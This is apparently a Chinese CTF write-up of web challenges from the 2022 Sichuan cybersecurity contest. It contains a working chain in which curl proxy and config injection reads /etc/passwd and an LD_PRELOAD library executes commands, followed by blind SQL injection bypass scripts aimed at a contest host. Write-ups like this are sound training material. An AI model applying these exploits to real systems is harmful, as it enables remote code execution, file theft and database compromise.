目录

四川省网安技能大赛2022 WEB复盘

[WEB] requests

签到题

./requests.jpg

[WEB] justcurl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import render_template, request, Flask
import os

app = Flask(__name__)

def check(s):
    if 'LD' in s  or 'BASH' in s or 'ENV' in s or 'PS' in s:
        return False
    return True
@ app.route('/')
@ app.route('/index')
def index():
    try:
        choose = request.args.get('choose')
    except:
        choose = ""
    try:
        key = request.args.get('key')
    except:
        key = ""
    try:
        value = request.args.get('value').upper()
    except:
        value = ""

    if value:
        if check(value):
            os.environ[key] = value
    if choose == "o":
        cmd = "curl http://127.0.0.1:5000/result -o options.txt"
    elif choose == "K":
        cmd = "curl http://127.0.0.1:5000/result -K options.txt"
    else:
        cmd = "curl http://127.0.0.1:5000/result"
    try:
        res = os.popen(cmd).read()
        return "your cmd is : " + cmd + "  \n and your result id :" + res
    except:
        return "error"


@ app.route('/result')
def logout():
    code = "no result"
    return render_template("index.html",code=code)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

os.environ[key] = value 可以控制环境变量,这里想到的能利用的环境变量大致有下面这几个

  • LD_PRELOAD
  • ALL_PROXY
  • HTTP_PROXY

翻下 curl的官方文档 ,发现curl会还会处理一些其他的环境变量,根据文档说明,能够利用的可能性不太大,暂时只考虑上面三个环境变量

分析处理逻辑,服务端会将对 http://127.0.0.1:5000/result 请求结果可以写入 options.txt , 那可以控制环境变量 HTTP_PROXYcurl 把请求发到自己的服务器上,HTTP_PROXY 设置之后实际上就是把请求头发到代理服务器上,期望代理服务器转发这个请求,所以只需要写个服务器收到请求之后直接返回,贴个代码,HTTP_PROXY 如果没有指定端口号,默认为 1080 ,可以这样设置 HTTP_PROXY=http://<ip>:5000

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import flask

app = flask.Flask(__name__)

@app.route("/result")
def a():
    return """ # --- Example file ---
 url = "file:///etc/passwd"
 # --- End of example file ---"""


if __name__ == '__main__':
    app.run(host="0.0.0.0")

这样写到options里面的就是 curl 的配置文件,然后通过 curl -K使用这个配置文件读到 /etc/passwd 具体配置文件的写法可以参考文档 ,贴个例子

1
2
3
4
5
6
# --- Example file ---
 url = "example.com"
 output = "curlhere.html"
 user-agent = "superagent/1.0"
 referer = "http://nowhereatall.example.com/"
 # --- End of example file ---

发现读不到 /flag ,再读了了几个 /proc 的文件之后都没发现 flag ,那肯定是需要 RCE 了,这里再注意到可以控制 LD_PRELOAD 环境变量,配合可以写入任意内容到文件,那传个 so 上去让 curl 加载就可以RCE了,抄个在 PHP 绕过 disable function 的代码,注意一下,后缀可以不是 so ,但是一定要记得写绝对路径,或者加 ./ 在文件名前面否则会提示找不到文件,加载之后就可以通过设置 EVIL_CMDLINE 来执行命令了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

[WEB] simplephp

进去只有个登陆框,通过测试发现存在 sql 注入,但是过滤了很多东西,sqlmap 跑不出来。测试发现过滤了空格 = > <

  • sql 注入中空格绕过方法有很多,常用的有 /**/()%0a

  • 对于 = 过滤可以用 likeregexprlike 等绕过,like 可以后面可以接数字,需要注意 % 代表零个或多个字符的任意字符串,_ 代表任何单个字符。

发现下面这些表和函数都用不了,怎么会是呢,, 猜测可能有函数黑名单?那怎么拿数据库名、表名、列名呢?

1
2
3
information_schema.tables
mysql.innodb_index_stats
sys.x$statement_analysis
1
2
3
4
5
6
7
8
9
pow()
cot()
database()
concat()
if()
sleep()
version()
ascii()
ord()

通过 union select 1,2,3 是否报错测试出有三列的数据,进一步猜测猜出有一列的列名是 id ,表的名字是 users,但是 users 表里面好像没有 admin 用户?,有没有可能本来就没有?感觉不太对吧,用这个注入是可以查到数据的 admin' -- ,后端到底是怎么写的啊

队友写了个脚本为什么和我爆出来的结果不一样。爆破时间太长了,只爆破出一部分flag,等wp吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests


def encode(p):
    return p.replace(" ", "/**/")


def req(u):
    url = "http://80.endpoint-b43d02f8371444fa96b42f8e6b55f399.ins.cloud.dasctf.com:81/login.php"

    data = {
        "username": encode(u),
        "password": "admin",
        "submit": "login"
    }

    r = requests.post(url, data=data)

    return r.text, r.status_code


res = [3739]

while True:
    for l in range(2, 35):
        for i in range(3230, 3745):
            payload = "fuck' or (select case when hex(hex(substr((select b from (select 1,2 as a,3 as b union select * from users)x limit 1,1),{0},1)))-{1} then 'a' else 'b' end) like 'a' --".format(l, i)
            print(payload)
            res = req(payload)
            if '完全' not in res[0]:
                res.append(i)
                break
        print(res)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

proxies = {
    "http": "http://127.0.0.1:8080",
}


def encode(p):
    return p.replace(" ", "/**/")


def req(u):
    url = "http://80.endpoint-b43d02f8371444fa96b42f8e6b55f399.ins.cloud.dasctf.com:81/login.php"

    data = {
        "username": encode(u),
        "password": "admin",
        "submit": "login"
    }

    r = requests.post(url, data=data, proxies=proxies)

    return r.text, r.status_code

r = ''
while True:
    for i in range(32, 128):
        if chr(i) == "%":
            continue
        res = req(f"' union select 1,2,3 as b from users where b like '{r + chr(i)}%' --") # 可能有问题
        if '完全' in res[0]:
            r += chr(i)
            break
    print(r)